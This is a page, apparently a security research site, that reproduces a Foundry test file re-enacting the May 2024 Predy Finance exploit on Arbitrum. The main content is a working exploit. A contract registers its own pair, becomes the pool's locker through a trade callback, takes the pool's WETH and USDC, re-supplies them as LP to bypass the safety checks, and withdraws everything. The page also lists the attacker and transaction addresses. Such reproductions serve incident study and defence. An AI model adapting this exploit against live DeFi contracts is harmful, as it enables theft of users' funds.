Public reproduction file
src/test/2024-05/PredyFinance_exp.sol
Public reproduction file for dataset entry PredyFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : $464K8// Attacker : https://arbiscan.io/address/0x76b02ab483482740248e2ab38b5a879a31c6d0089// Attack Contract : https://arbiscan.io/address/0xb79714634895f52a4f6a75eceb58c9624637014910// Vulnerable Contract : https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c11// Attack Tx : https://arbiscan.io/tx/0xbe163f651d23f0c9e4d4a443c0cc163134a31a1c2761b60188adcfd33178f50f13// @Info14// Vulnerable Contract Code : https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c#code16// @Analysis17// Post-mortem :18// Twitter Guy :19// Hacking God :20pragma solidity ^0.8.0;22contract PredyFinance is BaseTestWithBalanceLog {23 uint256 blocknumToForkFrom = 211_107_441;24 IERC20 USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);25 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);26 IPredyPool predyPool = IPredyPool(0x9215748657319B17fecb2b5D086A3147BFBC8613);28 function setUp() public {29 vm.createSelectFork("arbitrum", blocknumToForkFrom);30 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit31 fundingToken = address(USDC);32 vm.label(address(WETH), "WETH");33 vm.label(address(USDC), "USDC");34 vm.label(address(predyPool), "PredyPool");35 }37 function testExploit() public balanceLog {38 USDC.approve(address(predyPool), type(uint256).max);39 WETH.approve(address(predyPool), type(uint256).max);41 //implement exploit code here42 AddPairLogic.AddPairParams memory addPairParam = AddPairLogic.AddPairParams({43 marginId: address(WETH),44 poolOwner: address(this),45 uniswapPool: address(0xC6962004f452bE9203591991D15f6b388e09E8D0),46 priceFeed: address(this),47 whitelistEnabled: false,48 fee: 0,49 assetRiskParams: Perp.AssetRiskParams({50 riskRatio: 100_000_001,51 debtRiskRatio: 0,52 rangeSize: 1000,53 rebalanceThreshold: 500,54 minSlippage: 1_005_000,55 maxSlippage: 1_050_00056 }),57 quoteIrmParams: InterestRateModel.IRMParams({58 baseRate: 10_000_000_000_000_000,59 kinkRate: 900_000_000_000_000_000,60 slope1: 500_000_000_000_000_000,61 slope2: 1_000_000_000_000_000_00062 }),63 baseIrmParams: InterestRateModel.IRMParams({64 baseRate: 10_000_000_000_000_000,65 kinkRate: 900_000_000_000_000_000,66 slope1: 500_000_000_000_000_000,67 slope2: 1_000_000_000_000_000_00068 })69 });70 uint256 pairId = predyPool.registerPair(addPairParam); // register pair, the owner of the pair is attack contract72 IPredyPool.TradeParams memory tradeParams =73 IPredyPool.TradeParams({pairId: pairId, vaultId: 0, tradeAmount: 0, tradeAmountSqrt: 0, extraData: ""});74 predyPool.trade(tradeParams, ""); // set the attack contract as the locker76 predyPool.withdraw(pairId, true, WETH.balanceOf(address(predyPool))); // withdraw the LP to the attacker77 predyPool.withdraw(pairId, false, USDC.balanceOf(address(predyPool))); // withdraw the LP to the attacker78 }80 function predyTradeAfterCallback(81 IPredyPool.TradeParams memory tradeParams,82 IPredyPool.TradeResult memory tradeResult83 ) external {84 predyPool.take(true, address(this), WETH.balanceOf(address(predyPool))); // take the asset to the attacker85 predyPool.supply(tradeParams.pairId, true, WETH.balanceOf(address(this))); // supply the asset as LP and bypass the check in the function PositionCalculator.checkSafe()87 predyPool.take(false, address(this), USDC.balanceOf(address(predyPool))); // take the asset to the attacker88 predyPool.supply(tradeParams.pairId, false, USDC.balanceOf(address(this))); // supply the asset as LP and bypass the check in the function finalizeLock()89 }91 function getSqrtPrice() external view returns (uint256) {92 return 40_000_000_000;93 }94}96library AddPairLogic {97 struct AddPairParams {98 address marginId;99 address poolOwner;100 address uniswapPool;101 address priceFeed;102 bool whitelistEnabled;103 uint8 fee;104 Perp.AssetRiskParams assetRiskParams;105 InterestRateModel.IRMParams quoteIrmParams;106 InterestRateModel.IRMParams baseIrmParams;107 }108}110library Perp {111 struct AssetRiskParams {112 uint128 riskRatio;113 uint128 debtRiskRatio;114 int24 rangeSize;115 int24 rebalanceThreshold;116 uint64 minSlippage;117 uint64 maxSlippage;118 }119}121library InterestRateModel {122 struct IRMParams {123 uint256 baseRate;124 uint256 kinkRate;125 uint256 slope1;126 uint256 slope2;127 }128}130interface IPredyPool {131 struct TradeParams {132 uint256 pairId;133 uint256 vaultId;134 int256 tradeAmount;135 int256 tradeAmountSqrt;136 bytes extraData;137 }139 struct TradeResult {140 Payoff payoff;141 uint256 vaultId;142 int256 fee;143 int256 minMargin;144 int256 averagePrice;145 uint256 sqrtTwap;146 uint256 sqrtPrice;147 }149 struct Payoff {150 int256 perpEntryUpdate;151 int256 sqrtEntryUpdate;152 int256 sqrtRebalanceEntryUpdateUnderlying;153 int256 sqrtRebalanceEntryUpdateStable;154 int256 perpPayoff;155 int256 sqrtPayoff;156 }158 function registerPair(159 AddPairLogic.AddPairParams memory addPairParam160 ) external returns (uint256);162 function trade(163 TradeParams memory tradeParams,164 bytes memory settlementData165 ) external returns (TradeResult memory tradeResult);167 function take(bool isQuoteAsset, address to, uint256 amount) external;169 function supply(170 uint256 pairId,171 bool isQuoteAsset,172 uint256 supplyAmount173 ) external returns (uint256 finalSuppliedAmount);175 function withdraw(176 uint256 pairId,177 bool isQuoteAsset,178 uint256 withdrawAmount179 ) external returns (uint256 finalBurnAmount, uint256 finalWithdrawAmount);180}Analysis
Dataset entry
Public Foundry test for “PredyFinance” (2024-05-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
19 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
- src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
- src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
- src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
- src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
- src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
- src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
- src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
- src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
- src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
- src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
- src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
- src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
- src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
- src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x76b02ab483482740248e2ab38b5a879a31c6d008
- Attack Contract
0xb79714634895f52a4f6a75eceb58c96246370149
- Vulnerable Contract
0x7b8b944ab2f24c829504a7a6d70fce5298f2147c
- Attack Tx
0xbe163f651d23f0c9e4d4a443c0cc163134a31a1c2761b60188adcfd33178f50f
- Explorer: https://arbiscan.io/address/0x76b02ab483482740248e2ab38b5a879a31c6d008
- Explorer: https://arbiscan.io/address/0xb79714634895f52a4f6a75eceb58c96246370149
- Explorer: https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c
- Explorer: https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c#code
File record
- Name
- PredyFinance
- Path
- src/test/2024-05/PredyFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 529c7b8968239f7b2f30b5c118a84b3ceb4c5ef3
- Language
- Solidity
- Size
- 181 lines
- Date
- 2024-05-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-05/PredyFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 529c7b8968239f7b2f30b5c118a84b3ceb4c5ef3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.